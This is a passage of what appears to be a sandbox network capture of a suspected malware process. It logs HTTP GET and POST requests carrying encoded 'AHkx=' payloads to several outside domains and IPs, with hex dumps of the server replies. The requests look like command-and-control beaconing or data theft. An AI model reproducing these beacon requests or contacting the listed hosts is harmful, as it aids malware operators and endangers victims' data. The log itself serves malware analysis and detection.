Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:07.432673931 CEST	467	OUT	GET /7mju/?rf-LZ=JlCtuN3HqPO8C&AHkx=n/a1XNlERIMSMkzd8Qa3NcaSwh7bqsusoFUi8ENskqLMFqSk/Fj/a6kaQHlAIjdrNEumw+uIAi046Spw4+rc4tgWVH2vgFrx7lu5caWGLmQTjS3LtG8lVAw= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.newdaydawning.net Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:19:08.596672058 CEST	481	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 09 Oct 2024 12:19:07 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://newdaydawning.net/7mju/?rf-LZ=JlCtuN3HqPO8C&AHkx=n/a1XNlERIMSMkzd8Qa3NcaSwh7bqsusoFUi8ENskqLMFqSk/Fj/a6kaQHlAIjdrNEumw+uIAi046Spw4+rc4tgWVH2vgFrx7lu5caWGLmQTjS3LtG8lVAw= Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Oct 9, 2024 14:19:08.615659952 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49355	206.119.82.134	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:24.081482887 CEST	710	OUT	POST /l8if/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.40wxd.top Origin: http://www.40wxd.top Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.40wxd.top/l8if/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 53 5a 66 34 5a 58 5a 4c 52 75 44 38 6c 6b 56 43 71 6d 35 35 46 72 69 71 72 56 46 41 7a 6f 4c 6d 36 53 4f 4e 47 79 4d 77 54 52 53 30 69 44 4b 63 52 4b 56 6d 30 6c 49 4c 44 50 4d 46 6f 47 2f 33 64 71 4e 7a 52 4e 56 74 70 42 4b 45 6d 37 72 47 62 67 34 34 6e 32 52 53 6f 68 54 30 58 46 4f 77 71 44 6a 6f 54 65 72 65 4e 51 39 5a 63 41 6e 41 62 44 58 45 63 59 2f 46 52 6f 6d 68 72 63 4d 46 33 74 58 31 76 74 55 6d 52 4a 52 52 69 63 2f 69 69 59 32 42 34 62 4c 66 6f 71 38 54 78 5a 56 6d 33 65 68 72 35 77 39 31 46 5a 75 6b 70 45 30 31 65 59 72 46 79 50 31 58 56 68 43 51 64 5a 32 50 35 67 3d 3d Data Ascii: AHkx=SZf4ZXZLRuD8lkVCqm55FriqrVFAzoLm6SONGyMwTRS0iDKcRKVm0lILDPMFoG/3dqNzRNVtpBKEm7rGbg44n2RSohT0XFOwqDjoTereNQ9ZcAnAbDXEcY/FRomhrcMF3tX1vtUmRJRRic/iiY2B4bLfoq8TxZVm3ehr5w91FZukpE01eYrFyP1XVhCQdZ2P5g==
Oct 9, 2024 14:19:24.978863001 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:19:24 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49367	206.119.82.134	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:26.632097960 CEST	730	OUT	POST /l8if/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.40wxd.top Origin: http://www.40wxd.top Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.40wxd.top/l8if/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 53 5a 66 34 5a 58 5a 4c 52 75 44 38 6e 41 70 43 70 42 4e 35 43 4c 69 74 33 46 46 41 71 59 4b 74 36 54 79 4e 47 32 30 67 54 69 6d 30 69 6e 43 63 44 37 56 6d 33 6c 49 4c 62 2f 4d 36 6d 6d 2b 31 64 71 42 56 52 50 52 74 70 42 32 45 6d 35 7a 47 62 58 73 37 6d 6d 52 51 75 68 54 4d 4b 31 4f 77 71 44 6a 6f 54 61 48 30 4e 51 6c 5a 62 77 33 41 62 69 58 48 56 34 2f 47 51 6f 6d 68 76 63 4e 4f 33 74 58 74 76 73 49 49 52 4d 4e 52 69 65 6e 69 69 4e 61 65 79 62 4b 55 31 36 39 67 67 64 4d 69 78 50 4d 6a 36 51 31 74 45 49 32 50 6c 69 6c 76 50 70 4b 53 67 50 52 6b 49 6d 4c 6b 51 61 4c 47 69 68 5a 71 76 31 62 72 69 6a 5a 31 41 64 59 41 42 32 4d 30 31 78 6f 3d Data Ascii: AHkx=SZf4ZXZLRuD8nApCpBN5CLit3FFAqYKt6TyNG20gTim0inCcD7Vm3lILb/M6mm+1dqBVRPRtpB2Em5zGbXs7mmRQuhTMK1OwqDjoTaH0NQlZbw3AbiXHV4/GQomhvcNO3tXtvsIIRMNRieniiNaeybKU169ggdMixPMj6Q1tEI2PlilvPpKSgPRkImLkQaLGihZqv1brijZ1AdYAB2M01xo=
Oct 9, 2024 14:19:27.506109953 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:19:27 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49377	206.119.82.134	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:29.175136089 CEST	10812	OUT	POST /l8if/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.40wxd.top Origin: http://www.40wxd.top Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10301 Referer: http://www.40wxd.top/l8if/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 53 5a 66 34 5a 58 5a 4c 52 75 44 38 6e 41 70 43 70 42 4e 35 43 4c 69 74 33 46 46 41 71 59 4b 74 36 54 79 4e 47 32 30 67 54 6a 65 30 69 77 43 63 52 6f 4e 6d 32 6c 49 4c 46 50 4d 2f 6d 6d 2b 30 64 75 74 5a 52 50 63 50 70 48 79 45 6e 63 6e 47 64 6c 55 37 73 6d 52 51 6a 42 54 33 58 46 4f 68 71 44 7a 6b 54 61 33 30 4e 51 6c 5a 62 32 7a 41 64 7a 58 48 54 34 2f 46 52 6f 6d 39 72 63 4e 6d 33 74 66 39 76 73 39 39 52 66 56 52 69 2b 33 69 67 2f 69 65 6f 62 4b 57 30 36 39 34 67 59 55 74 78 50 41 46 36 52 78 58 45 49 53 50 31 45 31 79 61 6f 58 4b 6b 4a 35 57 57 57 50 6b 58 4b 37 65 70 79 4d 56 75 45 6e 4b 67 41 6c 46 46 4f 4a 52 45 45 34 31 70 31 42 59 54 43 4e 71 35 39 47 59 78 62 4d 63 31 5a 31 6f 33 2b 6f 63 46 4e 4f 63 6a 6d 47 4c 30 69 37 67 4f 6e 37 69 6a 6f 68 42 5a 41 4a 46 7a 41 63 6c 59 31 72 58 35 32 46 4b 79 6e 76 51 6d 51 64 74 34 6a 4d 63 64 47 6b 73 6e 44 4b 63 34 53 2f 45 67 6b 4a 65 31 6d 33 33 72 78 64 63 2f 50 58 6a 45 59 4c 41 52 37 34 4f 4e 45 68 39 4a 69 47 6e 4b 61 36 58 54 [TRUNCATED] Data Ascii: AHkx=SZf4ZXZLRuD8nApCpBN5CLit3FFAqYKt6TyNG20gTje0iwCcRoNm2lILFPM/mm+0dutZRPcPpHyEncnGdlU7smRQjBT3XFOhqDzkTa30NQlZb2zAdzXHT4/FRom9rcNm3tf9vs99RfVRi+3ig/ieobKW0694gYUtxPAF6RxXEISP1E1yaoXKkJ5WWWPkXK7epyMVuEnKgAlFFOJREE41p1BYTCNq59GYxbMc1Z1o3+ocFNOcjmGL0i7gOn7ijohBZAJFzAclY1rX52FKynvQmQdt4jMcdGksnDKc4S/EgkJe1m33rxdc/PXjEYLAR74ONEh9JiGnKa6XT7f7SSb0BplAF7XRei7lr4idmh5+4kLUsJ8TlpCseymrJEwRLeWjIo3v621WKkcd7p7h3h4EtybZbp8Xhw7xmd9K8Z4mj+zQU+/23QAbhGYnDDszksjbFEz0O5t6rIinDH4FDMv20wVMkNj+9JeycTeLN7rVAduZ5k2UcMYv/X3iAux6Hg6LPC4pJA1hCoa/Q0ilX0/6Bef2hqaAzNXSLsKaTcvqgD1OCWWK1/bcYFWDU9WyaUEZiJPVINPSNNeTW/9ZjERrpEb6XY6X+MxPcI8jq3+pwf4GQudZj/l7fhWDNMTZCVZx+WFXN8xe/X60reFoYRg158chviE/GQhDsU20A7S4Lu7FKrvm3KuD05PgaaqrT8OW5/ZBhbOPV3ony969SlXYk2EKeRYbU2+Ay5141ST3Jl11V7n5rlGroiYg4KENNjj/OkMRneYa/ZWxRA2vMauLYmUQMj2S7Wg9Q9JQ0u9b+r6kzXrwKlaIZ8f1jwv1vIesQm61WODnAdiTz/2OY504wAe4kFiAzvwNyMcGJHUeF3hZVgOb33I0IT6pS6/LhTt/zEL8tBmzE1zXlhc5AhJuBSXmbpekg27gUgIiwSnP0P6nt8uBILeLidWiHrflvSk99kIn/9j9IRXfh5S2EaQe7/PR7GZ0eBDRacPWfulX7KgtIKm [TRUNCATED]
Oct 9, 2024 14:19:30.080307007 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:19:29 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49390	206.119.82.134	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:31.716711044 CEST	459	OUT	GET /l8if/?AHkx=fb3YagVOau/9jH9JrwpuHsbxrllxr9uMjiH+G1UmZCjbhiKuBNxm8T0bbvZrtC77cOtGQaEUv2efn6v6V0IvhyZ1jg35IXHzinqtRNXlFD8GamKybSzcUs8=&rf-LZ=JlCtuN3HqPO8C HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Host: www.40wxd.top Connection: close User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko)
Oct 9, 2024 14:19:32.618989944 CEST	289	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 09 Oct 2024 12:19:32 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49423	67.223.117.189	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:38.637706041 CEST	710	OUT	POST /iqqs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.uburn.xyz Origin: http://www.uburn.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 201 Referer: http://www.uburn.xyz/iqqs/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 53 35 6e 4f 33 79 62 73 37 6d 73 36 54 61 39 73 50 4f 57 2f 74 73 77 74 6e 74 73 4b 42 7a 32 69 32 64 4b 4a 2f 69 63 41 54 41 50 57 4f 70 57 72 30 68 68 74 39 66 70 6f 4c 4d 68 53 68 79 65 64 4d 7a 63 59 65 61 42 77 46 64 7a 4d 31 50 41 66 44 51 4b 50 6d 78 53 79 7a 5a 6a 33 68 67 6e 69 43 72 2b 42 41 34 54 74 61 47 70 45 67 31 4f 55 6b 4e 68 55 45 56 43 74 6f 68 6e 5a 2b 30 50 71 4d 68 30 31 4f 39 61 4b 51 34 77 72 44 68 4d 45 6d 4f 38 64 44 6f 44 70 59 6e 33 79 39 70 55 36 76 30 50 4d 6f 54 30 72 63 61 41 4f 77 67 70 52 53 77 37 63 6b 58 7a 33 74 6c 75 75 6a 74 59 4e 4e 67 3d 3d Data Ascii: AHkx=S5nO3ybs7ms6Ta9sPOW/tswtntsKBz2i2dKJ/icATAPWOpWr0hht9fpoLMhShyedMzcYeaBwFdzM1PAfDQKPmxSyzZj3hgniCr+BA4TtaGpEg1OUkNhUEVCtohnZ+0PqMh01O9aKQ4wrDhMEmO8dDoDpYn3y9pU6v0PMoT0rcaAOwgpRSw7ckXz3tluujtYNNg==
Oct 9, 2024 14:19:39.233439922 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 09 Oct 2024 12:19:39 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 32106 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 62 6c 65 73 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 45 6e 74 65 72 70 72 69 73 65 20 44 65 76 65 6c 6f 70 6d 65 6e 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 73 68 6f 72 74 63 75 74 2e 70 6e 67 22 3e 0a 0a 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content="Fables"> <meta name="author" content="Enterprise Development"> <link rel="shortcut icon" href="assets/custom/images/shortcut.png"> <title> 404</title> ... animate.css--> <link href="assets/vendor/animate.css-master/animate.min.css" rel="stylesheet"> ... Load Screen --> <link href="assets/vendor/loadscreen/css/spinkit.css" rel="stylesheet"> ... GOOGLE FONT --> <link href="https://fonts.googleapis.com/css?family=Open+Sans:300,300i,400,400i,600,600i,700,700i,800,800i" rel="stylesheet"> ... Font Awesome 5 --> <link href="assets/vendor/fontawesome/css/fontawesome-all.min.css" rel="stylesheet"> ... Fables Icons --> <link href="assets/custom/css/fables-icons.css" rel="stylesheet"> ... Bootstrap CSS --> <link href="assets/vendor/bootstrap/css/boo [TRUNCATED]
Oct 9, 2024 14:19:39.233467102 CEST	1236	IN	Data Raw: 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 61 73 73 65 74 73 2f 76 65 6e 64 6f 72 2f 62 6f 6f 74 73 74 72 61 70 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 34 2d 6e 61 76 62 61 72 2e 63 Data Ascii: rel="stylesheet"> <link href="assets/vendor/bootstrap/css/bootstrap-4-navbar.css" rel="stylesheet"> ... FANCY BOX --> <link href="assets/vendor/fancybox-master/jquery.fancybox.min.css" rel="stylesheet"> ... OWL CAROUSEL -->
Oct 9, 2024 14:19:39.233479023 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 62 75 74 74 6f 6e 20 74 79 70 65 3d 22 73 75 62 6d 69 74 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 74 65 78 74 2d 77 68 69 74 65 22 3e 20 3c 69 20 63 6c 61 73 73 3d 22 66 61 73 20 Data Ascii: <button type="submit" class="btn bg-transparent text-white"> <i class="fas fa-search"></i> </button> </div> </div> </form> </div> </div>... Loading Screen --><div id="ju-loading-scre
Oct 9, 2024 14:19:39.233489037 CEST	1236	IN	Data Raw: 63 75 73 74 6f 6d 2f 69 6d 61 67 65 73 2f 65 6e 67 6c 61 6e 64 2e 70 6e 67 22 20 61 6c 74 3d 22 65 6e 67 6c 61 6e 64 20 66 6c 61 67 22 20 63 6c 61 73 73 3d 22 6d 72 2d 31 22 3e 20 45 6e 67 6c 69 73 68 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: custom/images/england.png" alt="england flag" class="mr-1"> English</a> <a class="dropdown-item white-color font-13 fables-second-hover-color" href="#"> <img src="assets/custom/images/France.png"
Oct 9, 2024 14:19:39.233500004 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 63 6c 61 73 73 3d 22 6e 61 76 62 61 72 2d 62 72 61 6e 64 20 70 6c 2d 30 22 20 68 72 65 66 3d 22 69 6e 64 65 78 2e 68 74 6d 6c 22 3e 3c 69 6d 67 20 73 72 63 3d Data Ascii: <a class="navbar-brand pl-0" href="index.html"><img src="assets/custom/images/fables-logo.png" alt="Fables Template" class="fables-logo"></a> <button class="navbar-toggler" type="button" da
Oct 9, 2024 14:19:39.233510971 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 6f 6d 65 32 2e 68 74 6d 6c 22 3e 48 6f 6d 65 20 32 3c 2f 61 3e 3c 2f Data Ascii: <li><a class="dropdown-item" href="home2.html">Home 2</a></li> <li><a class="dropdown-item" href="home3.html">Home 3</a></li> <li><a
Oct 9, 2024 14:19:39.233521938 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 31 2d 74 72 61 6e 73 70 61 72 65 6e 74 Data Ascii: <li><a class="dropdown-item" href="header1-transparent.html">Header 1 Transparent</a></li> <li><a class="dropdown-item" href="header1-light.html">Header 1
Oct 9, 2024 14:19:39.233618021 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 75 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: </ul> </li> <li><a class="dropdown-item dropdown-toggle" href="#">Header 3</a>
Oct 9, 2024 14:19:39.233628035 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 22 20 68 72 65 66 3d 22 68 65 61 64 65 72 34 2d 6c 69 67 Data Ascii: <li><a class="dropdown-item" href="header4-light.html">Header 4 Light</a></li> <li><a class="dropdown-item" href="header4-dark.html">Header 4 Dark<
Oct 9, 2024 14:19:39.233639002 CEST	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 64 72 6f 70 64 6f 77 6e 2d 69 74 65 6d 20 64 72 6f 70 64 6f 77 6e 2d 74 6f 67 67 6c 65 22 20 68 72 65 Data Ascii: <li><a class="dropdown-item dropdown-toggle" href="#">Footers</a> <ul class="dropdown-menu"> <li><a class="
Oct 9, 2024 14:19:39.238456964 CEST	1236	IN	Data Raw: 6c 22 3e 46 6f 6f 74 65 72 20 32 20 54 72 61 6e 73 70 61 72 65 6e 74 3c 2f 61 3e 3c 2f 6c 69 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: l">Footer 2 Transparent</a></li> <li><a class="dropdown-item" href="footer2-light.html">Footer 2 Light</a></li> <li><a clas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49437	67.223.117.189	80	3732	C:\Program Files (x86)\dZFrSGCtSmvRGDnWNlGUoJsvLCXjrLYrOJeYNLixYWOVqdTBjGazSYoXHNLczHMxTeNNuxmETitAdEJq\ifhdPMDeORMlb.exe

Timestamp	Bytes transferred	Direction	Data
Oct 9, 2024 14:19:41.188683987 CEST	730	OUT	POST /iqqs/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US Accept-Encoding: gzip, deflate Host: www.uburn.xyz Origin: http://www.uburn.xyz Connection: close Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 221 Referer: http://www.uburn.xyz/iqqs/ User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Data Raw: 41 48 6b 78 3d 53 35 6e 4f 33 79 62 73 37 6d 73 36 54 36 68 73 63 39 2b 2f 34 38 77 71 70 4e 73 4b 50 54 32 6d 32 64 47 4a 2f 6e 73 51 54 79 62 57 4f 4e 53 72 6d 31 39 74 38 66 70 6f 41 73 68 54 2f 43 65 67 4d 7a 59 2b 65 66 70 77 46 5a 62 4d 31 50 51 66 43 6e 2b 4d 6c 42 53 77 2b 35 6a 31 73 41 6e 69 43 72 2b 42 41 34 57 36 61 47 68 45 6e 46 2b 55 6d 73 68 58 48 56 43 71 72 68 6e 5a 30 55 50 6d 4d 68 30 54 4f 2b 66 6e 51 37 49 72 44 68 63 45 6e 66 38 65 57 59 43 69 47 6e 32 68 74 6f 4e 6d 69 57 33 43 32 31 34 72 65 4c 38 76 31 6d 34 4c 44 42 61 4c 32 58 58 45 77 69 6e 61 75 75 6c 45 57 76 72 79 75 65 36 65 50 4a 66 6d 53 32 73 30 45 33 4c 4c 72 63 49 3d Data Ascii: AHkx=S5nO3ybs7ms6T6hsc9+/48wqpNsKPT2m2dGJ/nsQTybWONSrm19t8fpoAshT/CegMzY+efpwFZbM1PQfCn+MlBSw+5j1sAniCr+BA4W6aGhEnF+UmshXHVCqrhnZ0UPmMh0TO+fnQ7IrDhcEnf8eWYCiGn2htoNmiW3C214reL8v1m4LDBaL2XXEwinauulEWvryue6ePJfmS2s0E3LLrcI=
